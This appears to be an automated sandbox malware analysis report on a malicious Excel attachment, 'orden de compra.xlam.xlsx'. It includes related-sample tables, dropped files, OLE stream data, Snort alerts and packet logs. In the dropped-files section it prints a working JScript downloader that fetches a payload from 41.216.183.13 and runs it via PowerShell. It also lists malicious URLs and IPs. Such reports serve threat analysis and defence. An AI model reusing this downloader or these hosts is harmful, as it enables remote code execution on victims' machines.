	MicrosoftService.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	F.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse	ip-api.com/line/?fields=hosting
	x.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse	ip-api.com/line/?fields=hosting
	java_update.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse	ip-api.com/line/?fields=hosting
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	ip-api.com/json/
	x433.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	DriverUpdt.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	rinvoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
188.114.96.3	Vg46FzGtNo.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	000366cm.nyashka.top/phpflowergenerator.php
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	filetransfer.io/data-package/mHgyHEv5/download
	file.exe	Get hash	malicious	FormBook	Browse	www.cavetta.org.mt/yhnb/
	http://johnlewisfr.com	Get hash	malicious	Unknown	Browse	johnlewisfr.com/
	cL7A9wGE3w.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	445798cm.nyashka.top/ProviderEternalLinephpRequestSecurePacketprocessauthwordpress.php
	http://www.youkonew.anakembok.de/	Get hash	malicious	HTMLPhisher	Browse	www.youkonew.anakembok.de/cdn-cgi/challenge-platform/h/g/jsd/r/89b98144d9c843b7
	hnCn8gE6NH.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	yenot.top/providerlowAuthApibigloadprotectflower.php
	288292021 ABB.exe	Get hash	malicious	FormBook	Browse	www.oc7o0.top/2zff/?Hp=4L8xoD0W4Zo4sy87CvwWXXlmZfhaBYNiZZOBxyE5jHDJEgkxN8cq+PG6NIXzy1XRCqQIvL5VyJCknvUNNLKk6zzmBcbZOQR3Nr9VCMayuUBptQdoGcq8y485hKv0f5POEUdLprTAYpXY&5H=CtUlKhgP42a
	eiqj38BeRo.rtf	Get hash	malicious	FormBook	Browse	www.liposuctionclinics2.today/btrd/?OR-TJfQ=g2Awi9g0RhXmDXdNu5BlCrpPGRTrEfCXfESYZTVa1wMirmNXITW5szlP5E4EhRYb22U+Mw==&2dc=kvXd-rKHCF
	Purchase Order -JJ023639-PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	filetransfer.io/data-package/9a4iHwft/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	KWOTASIE.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	ServerManager.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	MicrosoftService.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	F.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse	208.95.112.1
	x.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse	208.95.112.1
	java_update.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse	208.95.112.1
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	x433.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	DriverUpdt.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	rinvoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
uploaddeimagens.com.br	FedEx Receipt_53065724643.xls	Get hash	malicious	FormBook	Browse	188.114.96.3
	zahtjev za ponudu.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.96.3
	SecuriteInfo.com.Exploit.ShellCode.69.26008.28945.rtf	Get hash	malicious	Remcos	Browse	188.114.96.3
	SecuriteInfo.com.Exploit.ShellCode.69.25469.24539.rtf	Get hash	malicious	Unknown	Browse	188.114.96.3
	gFTk7fAh55.rtf	Get hash	malicious	Unknown	Browse	188.114.97.3
	Comprobante_786765456776780879878968.vbs	Get hash	malicious	AgentTesla	Browse	188.114.97.3
	Product Inquiry_#466788.xls	Get hash	malicious	FormBook	Browse	188.114.96.3
	lista de cotizaciones.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	188.114.96.3
	SC_TR20240619.xls	Get hash	malicious	AgentTesla	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://128.165.205.92.host.secureserver.net/	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	GuLoader	Browse	104.26.13.205
	JDownloaderSetup.exe	Get hash	malicious	Unknown	Browse	104.16.148.130
	JDownloaderSetup.exe	Get hash	malicious	Unknown	Browse	104.16.148.130
	FedEx Receipt_53065724643.xls	Get hash	malicious	FormBook	Browse	188.114.96.3
	SecuriteInfo.com.Win32.Evo-gen.6791.6790.exe	Get hash	malicious	Python Stealer, CStealer, Xmrig	Browse	104.26.2.16
	http://differentia.ru	Get hash	malicious	Unknown	Browse	172.67.71.89
	Attendance list.exe	Get hash	malicious	FormBook	Browse	172.67.210.102
	https://guardianesdelbosque.org	Get hash	malicious	Unknown	Browse	104.22.50.131
	mirai.mips.elf	Get hash	malicious	Mirai	Browse	162.159.162.231
AS-COLOCROSSINGUS	ORDER-7019-2024.js	Get hash	malicious	AgentTesla	Browse	192.210.215.11
	PO-24701248890.js	Get hash	malicious	WSHRat	Browse	192.210.215.11
	FedEx Receipt_53065724643.xls	Get hash	malicious	FormBook	Browse	23.95.235.16
	statement .xls	Get hash	malicious	Unknown	Browse	23.95.235.16
	EY8qnRKXcx.rtf	Get hash	malicious	Lokibot	Browse	198.46.178.137
	Scan_Hsbc_Payment_advice.xls	Get hash	malicious	Lokibot	Browse	198.46.178.137
	rPRESUPUESTO.exe	Get hash	malicious	FormBook	Browse	192.227.175.142
	cKiTq7RRCn.exe	Get hash	malicious	Remcos	Browse	107.173.4.18
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Remcos	Browse	192.210.214.9
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Remcos	Browse	192.210.214.9
TUT-ASUS	KWOTASIE.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	ServerManager.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	MicrosoftService.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	F.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse	208.95.112.1
	x.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse	208.95.112.1
	java_update.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse	208.95.112.1
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	x433.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	DriverUpdt.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	rinvoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
AS40676US	FedEx Receipt_53065724643.xls	Get hash	malicious	FormBook	Browse	41.216.183.13
	statement .xls	Get hash	malicious	Unknown	Browse	41.216.183.13
	Lu4qSit8YR.elf	Get hash	malicious	Unknown	Browse	172.107.78.124
	SeAH RFP_24-0676#U00b7pdf.exe	Get hash	malicious	GuLoader, Lokibot	Browse	45.61.136.239
	zahtjev za ponudu.xls	Get hash	malicious	Unknown	Browse	41.216.183.13
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Unknown	Browse	41.216.183.13
	SecuriteInfo.com.Exploit.ShellCode.69.26008.28945.rtf	Get hash	malicious	Remcos	Browse	41.216.183.13
	botx.arm6.elf	Get hash	malicious	Mirai	Browse	45.35.235.155
	jvdETd7zDg.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	205.161.47.100
	UTN RFP_24-0676#U00b7pdf.exe	Get hash	malicious	GuLoader, Lokibot	Browse	45.61.136.239

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	FedEx Receipt_53065724643.xls	Get hash	malicious	FormBook	Browse	188.114.96.3
	statement .xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	Bank Slip 2.doc	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Scan_Hsbc_Payment_advice.xls	Get hash	malicious	Lokibot	Browse	188.114.96.3
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Remcos	Browse	188.114.96.3
	20240506_12082.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Remcos	Browse	188.114.96.3
	zahtjev za ponudu.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.96.3
	SecuriteInfo.com.Exploit.ShellCode.69.26008.28945.rtf	Get hash	malicious	Remcos	Browse	188.114.96.3
36f7277af969a6947a61ae0b815907a1	Setup.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	Setup.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	paediatric neurologist medico legal 68003.js	Get hash	malicious	Unknown	Browse	188.114.96.3
	Alinco Pipe Supply FE Product Specification & Drawing DESIGN.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	Product Inquiry_#466788.xls	Get hash	malicious	FormBook	Browse	188.114.96.3
	Alinco Pipe Supply FE Product Specification & Drawing DESIGN.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	7YZlAbfKMg.rtf	Get hash	malicious	AgentTesla	Browse	188.114.96.3
	Product Inquiry466789.xls	Get hash	malicious	AgentTesla	Browse	188.114.96.3
	fs-windows-agent-3.4.0.msi	Get hash	malicious	Unknown	Browse	188.114.96.3
	PROFORMA INVOICE.xls	Get hash	malicious	Remcos	Browse	188.114.96.3

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4760
Entropy (8bit):	4.834060479684549
Encrypted:	false
SSDEEP:	96:RCJ2Woe5u2k6Lm5emmXIGxgyg12jDs+un/iQLEYFjDaeWJ6KGcmXSFRLcU6/KD:cxoe5uVsm5emdOgkjDt4iWN3yBGHydcY
MD5:	838C1F472806CF4BA2A9EC49C27C2847
SHA1:	D1C63579585C4740956B099697C74AD3E7C89751
SHA-256:	40A844E6AF823D9E71A35DFEE1FF7383D8A682E9981FB70440CA47AA1F6F1FF3
SHA-512:	E784B61696AB19C5A178204A11E4012A9A29D58B3D3BF1D5648021693883FFF343C87777E7A2ADC81B833148B90B88E60948B370D2BB99DEC70C097B5C91B145
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE............Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script...............T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\portugalslovenia[1].jpg

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1002
Entropy (8bit):	3.6303480533812205
Encrypted:	false
SSDEEP:	24:QqigCHl30+q+RYlIAdkkN0YAWOYlg62qv:XzCHV0D0IIGkkKIg62qv
MD5:	9C088DEAB0C83A4FA69EB7D0DB5EA406
SHA1:	0A1AAE72DE6EBAFF98C48653CCD9EB7C1B02580F
SHA-256:	16691D927B5DC623CBAD67853DA2BD7399824B823909911AD494099C2683AD80
SHA-512:	09BC360F1C7D62148BF6629634BFD2A4E6907C7CAF2256660B41039580051325DC818C6DC75E1A758B372D8921145335BA77C47D7BA19A0C14674E8970A56C71
Malicious:	false
Reputation:	low
Preview:	..v.a.r. .n.u.b.l.a.r.,. .p.a.c.h.o.u.c.h.a.d.a.,. .c.o.n.s.t.i.t.u.c.i.o.n.a.l.,. .c.o.m.m.a.n.d.;.....n.u.b.l.a.r. .=. .n.e.w. .A.c.t.i.v.e.X.O.b.j.e.c.t.(.".M.S.X.M.L.2...S.e.r.v.e.r.X.M.L.H.T.T.P.".).;.....n.u.b.l.a.r...o.p.e.n.(.".G.E.T.".,. .".h.t.t.p.:././.4.1...2.1.6...1.8.3...1.3./.U.s.e.r.s._.A.P.I./.B.r.a.i.n.i.a.c.M.A.X./.f.i.l.e._.r.k.w.g.r.f.j.w...g.0.i...t.x.t.".,. .f.a.l.s.e.).;.....n.u.b.l.a.r...s.e.n.d.(.).;.........i.f. .(.n.u.b.l.a.r...s.t.a.t.u.s. .=.=.=. .2.0.0.). .{..... . . . .p.a.c.h.o.u.c.h.a.d.a. .=. .n.u.b.l.a.r...r.e.s.p.o.n.s.e.T.e.x.t.;..... . . . .c.o.n.s.t.i.t.u.c.i.o.n.a.l. .=. .n.e.w. .A.c.t.i.v.e.X.O.b.j.e.c.t.(.".W.S.c.r.i.p.t...S.h.e.l.l.".).;..... . . . .c.o.c.h.i.l.a. .=. .".p.o.w.e.r.s.h.e.l.l. .-.C.o.m.m.a.n.d. .\.".". .+. .p.a.c.h.o.u.c.h.a.d.a. .+. .".\.".".;..... . . . .c.o.n.s.t.i.t.u.c.i.o.n.a.l...R.u.n.(.c.o.c.h.i.l.a.,. .0.,. .t.r.u.e.).;..... . . . .c.o.n.s.t.i.t.u.c.i.o.n.a.l. .=. .n.u.l.l.;.....}.........n.u.b.l.a.r. .=. .n.u.l.l.;...

C:\Users\user\AppData\Local\Temp\22ev4n4c.e1q.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Local\Temp\lrw43k3g.p0a.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\portugalslovenia.js

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1002
Entropy (8bit):	3.6303480533812205
Encrypted:	false
SSDEEP:	24:QqigCHl30+q+RYlIAdkkN0YAWOYlg62qv:XzCHV0D0IIGkkKIg62qv
MD5:	9C088DEAB0C83A4FA69EB7D0DB5EA406
SHA1:	0A1AAE72DE6EBAFF98C48653CCD9EB7C1B02580F
SHA-256:	16691D927B5DC623CBAD67853DA2BD7399824B823909911AD494099C2683AD80
SHA-512:	09BC360F1C7D62148BF6629634BFD2A4E6907C7CAF2256660B41039580051325DC818C6DC75E1A758B372D8921145335BA77C47D7BA19A0C14674E8970A56C71
Malicious:	true
Preview:	..v.a.r. .n.u.b.l.a.r.,. .p.a.c.h.o.u.c.h.a.d.a.,. .c.o.n.s.t.i.t.u.c.i.o.n.a.l.,. .c.o.m.m.a.n.d.;.....n.u.b.l.a.r. .=. .n.e.w. .A.c.t.i.v.e.X.O.b.j.e.c.t.(.".M.S.X.M.L.2...S.e.r.v.e.r.X.M.L.H.T.T.P.".).;.....n.u.b.l.a.r...o.p.e.n.(.".G.E.T.".,. .".h.t.t.p.:././.4.1...2.1.6...1.8.3...1.3./.U.s.e.r.s._.A.P.I./.B.r.a.i.n.i.a.c.M.A.X./.f.i.l.e._.r.k.w.g.r.f.j.w...g.0.i...t.x.t.".,. .f.a.l.s.e.).;.....n.u.b.l.a.r...s.e.n.d.(.).;.........i.f. .(.n.u.b.l.a.r...s.t.a.t.u.s. .=.=.=. .2.0.0.). .{..... . . . .p.a.c.h.o.u.c.h.a.d.a. .=. .n.u.b.l.a.r...r.e.s.p.o.n.s.e.T.e.x.t.;..... . . . .c.o.n.s.t.i.t.u.c.i.o.n.a.l. .=. .n.e.w. .A.c.t.i.v.e.X.O.b.j.e.c.t.(.".W.S.c.r.i.p.t...S.h.e.l.l.".).;..... . . . .c.o.c.h.i.l.a. .=. .".p.o.w.e.r.s.h.e.l.l. .-.C.o.m.m.a.n.d. .\.".". .+. .p.a.c.h.o.u.c.h.a.d.a. .+. .".\.".".;..... . . . .c.o.n.s.t.i.t.u.c.i.o.n.a.l...R.u.n.(.c.o.c.h.i.l.a.,. .0.,. .t.r.u.e.).;..... . . . .c.o.n.s.t.i.t.u.c.i.o.n.a.l. .=. .n.u.l.l.;.....}.........n.u.b.l.a.r. .=. .n.u.l.l.;...

C:\Users\user\Desktop\~$orden de compra.xlam.xls

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	false
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Desktop\~$orden de compra.xlam.xlsx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General

File type:	Microsoft Excel 2007+
Entropy (8bit):	7.997907351615172
TrID:	Excel Microsoft Office Open XML Format document (40004/1) 83.33% ZIP compressed archive (8000/1) 16.67%
File name:	orden de compra.xlam.xlsx
File size:	708'514 bytes
MD5:	2f9a02c106854721a8c4fbdef77e6bd1
SHA1:	626be0171e875f0be6a67e72c92e2c0bd190d51c
SHA256:	b053d32b3179667b0f2ecfbd8ef2ba4ea80e0ed27106847282b72a3778ada68f
SHA512:	767a4b730a7c4ec6edb847d361c09f1e49cce9eb11eb6ff161f9e7c50dceab5c3d7cc5ae7513d7f83a11d1c7bf828535d610809082fab1d1fdfd5610a510f973
SSDEEP:	12288:lRNuf1IdkWv18DHFq/ObhZqxPWcbuttAVQt7mLAX3gXP0nKE3UUd64bMNN8mJ0A3:l3ufhWvSDHFK6ZQ7yhQLkSsZkUd6YiFx
TLSH:	4FE433B6B764EAAEEE6C052283FCF6C200447706C1978BF64772F94A17C39D0E609675
File Content Preview:	PK...........X........>.......[Content_Types].xmlUT......f...f...f..MO.0...H.."_Q....j....#.....{...K....~.)p@...K.x.}..x....]..L6.N...h0.hl.w...M.[4T .p1`'6H......q...V......G)...@2&.......g...z.sT?'._J.P0..T.q>....\i..^.V...h......H.Y...j..;J.B...sha..r

File Icon


Icon Hash:	2562ab89a7b7bfbf

Static OLE Info

General

Document Type:	OpenXML
Number of OLE Files:	1

OLE File "orden de compra.xlam.xlsx"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Author:	USER
Last Saved By:	USER
Create Time:	2023-08-03T11:34:29Z
Last Saved Time:	2023-08-03T11:37:28Z
Creating Application:	Microsoft Excel
Security:	0

Document Summary

Thumbnail Scaling Desired:	false
Company:
Contains Dirty Links:	false
Shared Document:	false
Changed Hyperlinks:	false
Application Version:	16.0300

Streams

Stream Path: \x1Ole10NAtIvE, File Type: data, Stream Size: 969905

General
Stream Path:	\x1Ole10NAtIvE
CLSID:
File Type:	data
Stream Size:	969905
Entropy:	5.971361750320773
Base64 Encoded:	False
Data ASCII:	. . . 4 G . . . 5 . O . + , X ' ? a . U . S q ' > . . c . A . . c @ G . . . . U D . @ G S . . . 4 9 # . t w . Y . A Q . l % @ # w S } t . . . . d . B . 4 . h s ? , $ D \| " 4 $ . h u . B 3 J N L ] d & } ; . : . f # Q . . X Z a * u q . . W . * I r b . 5 / . [ . X C + ; k : & . C . " * . j ; . R U . J b k . 8 1 ' P . > S . { G 3 i + . Y . h N . . . U . @ R 3 . C & ] . N . . z . . 6 . @ g % z . j ) c E : M . n . X 0 W . ) * * J # ' a . z l ' 5 X H P % y . C = _ _ ! . A . 6 8 A r I < ! y ( . . r e . M ` z d
Data Raw:	a8 ee ed 04 03 00 9a a6 34 47 01 08 f5 8b b8 f8 b8 0a 89 35 c4 05 4f 89 8b 18 8b 2b ba 2c 58 27 92 81 f2 9c 3f 61 92 8b 1a 55 ff d3 05 53 71 27 3e 05 de 8f d8 c1 ff e0 63 0e c6 e5 41 00 fc 04 63 40 9b 47 ad 85 ee 15 12 03 f5 f5 97 ee b2 80 c6 55 9f e7 e0 b1 cf 44 ae 8d bb 13 fc 40 a1 47 53 09 08 df 88 80 34 39 ac da 23 d4 82 fe 74 85 77 10 a7 59 c7 be 41 51 dc 1a a5 f8 6c 25 40 23

Stream Path: Q4hZNdx631mzXJuoiAUv0dO, File Type: empty, Stream Size: 0

General
Stream Path:	Q4hZNdx631mzXJuoiAUv0dO
CLSID:
File Type:	empty
Stream Size:	0
Entropy:	0.0
Base64 Encoded:	False
Data ASCII:
Data Raw:

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/02/24-08:22:17.801189	TCP	2020425	ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 3 M1	80	49167	192.3.243.156	192.168.2.22
07/02/24-08:22:11.705623	TCP	2049038	ET TROJAN Malicious Base64 Encoded Payload In Image	80	49162	41.216.183.13	192.168.2.22
07/02/24-08:22:15.357221	TCP	2020425	ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 3 M1	80	49164	192.3.243.156	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 2, 2024 08:22:09.851629019 CEST	49161	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:09.856641054 CEST	80	49161	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:09.856702089 CEST	49161	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:09.856952906 CEST	49161	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:09.861815929 CEST	80	49161	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:10.441570997 CEST	80	49161	192.3.243.156	192.168.2.22
Jul 2, 2024 08:22:10.441664934 CEST	49161	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:11.004380941 CEST	49162	80	192.168.2.22	41.216.183.13
Jul 2, 2024 08:22:11.010512114 CEST	80	49162	41.216.183.13	192.168.2.22
Jul 2, 2024 08:22:11.010612011 CEST	49162	80	192.168.2.22	41.216.183.13
Jul 2, 2024 08:22:11.011322021 CEST	49162	80	192.168.2.22	41.216.183.13
Jul 2, 2024 08:22:11.016196966 CEST	80	49162	41.216.183.13	192.168.2.22
Jul 2, 2024 08:22:11.705590010 CEST	80	49162	41.216.183.13	192.168.2.22
Jul 2, 2024 08:22:11.705612898 CEST	80	49162	41.216.183.13	192.168.2.22
Jul 2, 2024 08:22:11.705622911 CEST	80	49162	41.216.183.13	192.168.2.22
Jul 2, 2024 08:22:11.705672979 CEST	49162	80	192.168.2.22	41.216.183.13
Jul 2, 2024 08:22:11.705746889 CEST	80	49162	41.216.183.13	192.168.2.22
Jul 2, 2024 08:22:11.919759989 CEST	80	49162	41.216.183.13	192.168.2.22
Jul 2, 2024 08:22:11.919821024 CEST	49162	80	192.168.2.22	41.216.183.13
Jul 2, 2024 08:22:12.099046946 CEST	49161	80	192.168.2.22	192.3.243.156
Jul 2, 2024 08:22:13.278301001 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:13.278342962 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:13.278402090 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:13.286984921 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:13.287013054 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:13.765677929 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:13.765772104 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:13.772794008 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:13.772809982 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:13.773128033 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:13.852530956 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:13.896502018 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:13.957319021 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:13.957355976 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:13.957391977 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:13.957407951 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:13.957415104 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:13.957423925 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:13.957456112 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:13.957890034 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:13.957989931 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:13.958029032 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:13.958039045 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:13.958750010 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:13.958796978 CEST	49163	443	192.168.2.22	188.114.96.3
Jul 2, 2024 08:22:13.958802938 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:13.959474087 CEST	443	49163	188.114.96.3	192.168.2.22
Jul 2, 2024 08:22:13.959517002 CEST	49163	443	192.168.2.22	188.114.96.3
